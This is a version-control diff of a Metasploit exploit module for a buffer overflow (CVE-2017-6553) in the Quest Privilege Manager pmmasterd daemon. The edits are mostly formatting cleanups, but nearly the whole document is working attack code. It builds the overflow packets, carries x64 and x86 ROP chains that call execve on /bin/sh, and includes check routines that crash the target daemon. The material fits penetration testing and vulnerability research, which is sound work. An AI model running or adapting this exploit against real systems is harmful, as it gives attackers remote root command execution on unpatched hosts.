3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'msf/core'
7
-
8
6
class MetasploitModule < Msf ::Exploit ::Remote
9
7
Rank = NormalRanking
10
8
@@ -15,16 +13,18 @@ def initialize(info = {})
15
13
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow' ,
16
14
'Description' => %q{
17
15
This modules exploits a buffer overflow in the Quest Privilege Manager,
18
- a software used to integrate Active Directory with Linux and Unix systems.
19
- The vulnerability exists in the pmmasterd daemon, and can only triggered when
20
- the host has been configured as a policy server ( Privilege Manager for Unix
21
- or Quest Sudo Plugin). A buffer overflow condition exists when handling
22
- requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
23
- controlled by the attacker. This module only works against version < 6.0.0-27.
24
- Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required).
25
- NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 )
26
- as the server refuses connections coming from unprivileged ports, which in most situations
27
- means that root privileges are required.
16
+ a software used to integrate Active Directory with Linux and Unix
17
+ systems. The vulnerability exists in the pmmasterd daemon, and can only
18
+ triggered when the host has been configured as a policy server (
19
+ Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
20
+ condition exists when handling requests of type ACT_ALERT_EVENT, where
21
+ the size of a memcpy can be controlled by the attacker. This module
22
+ only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
23
+ vulnerable, but not supported by this module (a stack cookie bypass is
24
+ required). NOTE: To use this module it is required to be able to bind a
25
+ privileged port ( <=1024 ) as the server refuses connections coming
26
+ from unprivileged ports, which in most situations means that root
27
+ privileges are required.
28
28
} ,
29
29
'Author' =>
30
30
[
@@ -33,11 +33,10 @@ def initialize(info = {})
33
33
'References' =>
34
34
[
35
35
[ 'CVE' , '2017-6553' ] ,
36
- [ 'URL' , 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/' ]
36
+ [ 'URL' , 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/' ]
37
37
] ,
38
38
'Payload' =>
39
39
{
40
- 'BadChars' => "" ,
41
40
'Compat' =>
42
41
{
43
42
'PayloadType' => 'cmd' ,
@@ -50,41 +49,49 @@ def initialize(info = {})
50
49
[
51
50
[ 'Quest Privilege Manager pmmasterd 6.0.0-27 x64' ,
52
51
{
53
- : exploit => :exploit_x64 ,
54
- : check => :check_x64
52
+ exploit : :exploit_x64 ,
53
+ check : :check_x64
55
54
}
56
55
] ,
57
56
[ 'Quest Privilege Manager pmmasterd 6.0.0-27 x86' ,
58
57
{
59
- : exploit => :exploit_x86 ,
60
- : check => :check_x86
58
+ exploit : :exploit_x86 ,
59
+ check : :check_x86
61
60
}
62
61
]
63
62
] ,
64
63
'Privileged' => true ,
65
64
'DisclosureDate' => 'Apr 09 2017' ,
66
- 'DefaultTarget' => 1
67
- ) )
68
-
69
- register_options ( [ Opt ::RPORT ( 12345 ) ] , self . class )
70
- register_options ( [ Opt ::CPORT ( rand ( 1024 ) ) ] , self . class )
65
+ 'DefaultTarget' => 0
66
+ )
67
+ )
68
+
69
+ register_options (
70
+ [
71
+ Opt ::RPORT ( 12345 ) ,
72
+ Opt ::CPORT ( rand ( 1024 ) )
73
+ ]
74
+ )
71
75
end
72
76
73
- #definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
77
+ # definitely not stealthy! sends a crashing request, if the socket dies, or
78
+ # the output is partial it assumes the target has crashed. Although the
79
+ # daemon spawns a new process for each connection, the segfault will appear
80
+ # on syslog
74
81
def check
75
- unless self . respond_to? ( target [ :check ] , true )
82
+ unless respond_to? ( target [ :check ] , true )
76
83
fail_with ( Failure ::NoTarget , "Invalid target specified" )
77
84
end
78
85
79
- return self . send ( target [ :check ] )
86
+ send ( target [ :check ] )
80
87
end
81
88
82
89
def exploit
83
- unless self . respond_to? ( target [ :exploit ] , true )
90
+ unless respond_to? ( target [ :exploit ] , true )
84
91
fail_with ( Failure ::NoTarget , "Invalid target specified" )
85
92
end
86
93
87
- request = self . send ( target [ :exploit ] )
94
+ request = send ( target [ :exploit ] )
88
95
89
96
connect
90
97
print_status ( "Sending trigger" )
@@ -95,12 +102,12 @@ def exploit
95
102
disconnect
96
103
end
97
104
98
- #server should crash after parsing the packet, partial output is returned
105
+ # server should crash after parsing the packet, partial output is returned
99
106
def check_x64
100
107
head = [ 0x26c ] . pack ( "N" )
101
108
head << [ 0x700 ] . pack ( "N" )
102
109
head << [ 0x700 ] . pack ( "N" )
103
- head << "\x00 " * 68
110
+ head << "\x00 " * 68
104
111
105
112
body = "PingE4.6 .0.0.27"
106
113
body << rand_text_alpha ( 3000 )
@@ -111,19 +118,19 @@ def check_x64
111
118
print_status ( "Sending trigger" )
112
119
sock . put ( request )
113
120
res = sock . timed_read ( 1024 , 1 )
114
- if res . match ( "Pong4$" )
121
+ if res . match? "Pong4$"
115
122
return Exploit ::CheckCode ::Appears
116
123
else
117
124
return Exploit ::CheckCode ::Unknown
118
125
end
119
126
end
120
127
121
- #server should crash while parsing the packet, with no output
128
+ # server should crash while parsing the packet, with no output
122
129
def check_x86
123
130
head = [ 0x26c ] . pack ( "N" )
124
131
head << [ 0x700 ] . pack ( "N" )
125
132
head << [ 0x700 ] . pack ( "N" )
126
- head << "\x00 " * 68
133
+ head << "\x00 " * 68
127
134
128
135
body = rand_text_alpha ( 3000 )
129
136
@@ -133,7 +140,7 @@ def check_x86
133
140
print_status ( "Sending trigger" )
134
141
sock . put ( request )
135
142
begin
136
- res = sock . timed_read ( 1024 , 1 )
143
+ sock . timed_read ( 1024 , 1 )
137
144
return Exploit ::CheckCode ::Unknown
138
145
rescue ::Exception
139
146
return Exploit ::CheckCode ::Appears
@@ -144,38 +151,37 @@ def exploit_x64
144
151
head = [ 0x26c ] . pack ( "N" )
145
152
head << [ 0x700 ] . pack ( "N" )
146
153
head << [ 0x700 ] . pack ( "N" )
147
- head << "\x00 " * 68
154
+ head << "\x00 " * 68
148
155
149
- #rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
156
+ # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
150
157
ropchain = [
151
- 0x408f88 , # pop rdi, ret
152
- 0x4FA215 , # /bin/sh
153
- 0x40a99e , # pop rsi ; ret
154
- 0 , # argv @rsi
155
- 0x40c1a0 , # pop rax, ret
156
- 0 , # envp @rax
157
- 0x48c751 , # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
158
- 0xcacc013 , # padding
159
- 0x408a98 , # execve,
160
- 0
158
+ 0x408f88 , # pop rdi, ret
159
+ 0x4FA215 , # /bin/sh
160
+ 0x40a99e , # pop rsi ; ret
161
+ 0 , # argv @rsi
162
+ 0x40c1a0 , # pop rax, ret
163
+ 0 , # envp @rax
164
+ 0x48c751 , # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
165
+ 0xcacc013 , # padding
166
+ 0x408a98 , # execve,
167
+ 0
161
168
] . pack ( "Q*" )
162
169
163
170
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
164
171
body << rand_text_alpha ( 1600 )
165
172
body << ropchain
166
- body << rand_text_alpha ( 0x700 - body . size ( ) )
167
-
168
- return head + body
173
+ body << rand_text_alpha ( 0x700 - body . size )
169
174
175
+ head + body
170
176
end
171
177
172
178
def exploit_x86
173
179
head = [ 0x26c ] . pack ( "N" )
174
180
head << [ 0x108 ] . pack ( "N" )
175
181
head << [ 0xcc ] . pack ( "N" )
176
- head << "\x00 " * 68
182
+ head << "\x00 " * 68
177
183
178
- #rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
184
+ # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
179
185
ropchain = [
180
186
0x8093262 , # ret
181
187
0x73 , # cs reg
@@ -192,15 +198,13 @@ def exploit_x86
192
198
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
193
199
body << rand_text_alpha ( 104 )
194
200
body << ropchain
195
- body << rand_text_alpha ( 0xb4 - body . size ( ) )
201
+ body << rand_text_alpha ( 0xb4 - body . size )
196
202
body << [ 0x50 ] . pack ( "V" )
197
- body << rand_text_alpha ( 0xc4 - body . size ( ) )
203
+ body << rand_text_alpha ( 0xc4 - body . size )
198
204
body << [ pivotback ] . pack ( "V" )
199
205
body << [ writable ] . pack ( "V" )
200
- body << rand_text_alpha ( 0x108 - body . size ( ) )
206
+ body << rand_text_alpha ( 0x108 - body . size )
201
207
202
- return head + body
208
+ head + body
203
209
end
204
-
205
210
end
206
-
0 commit comments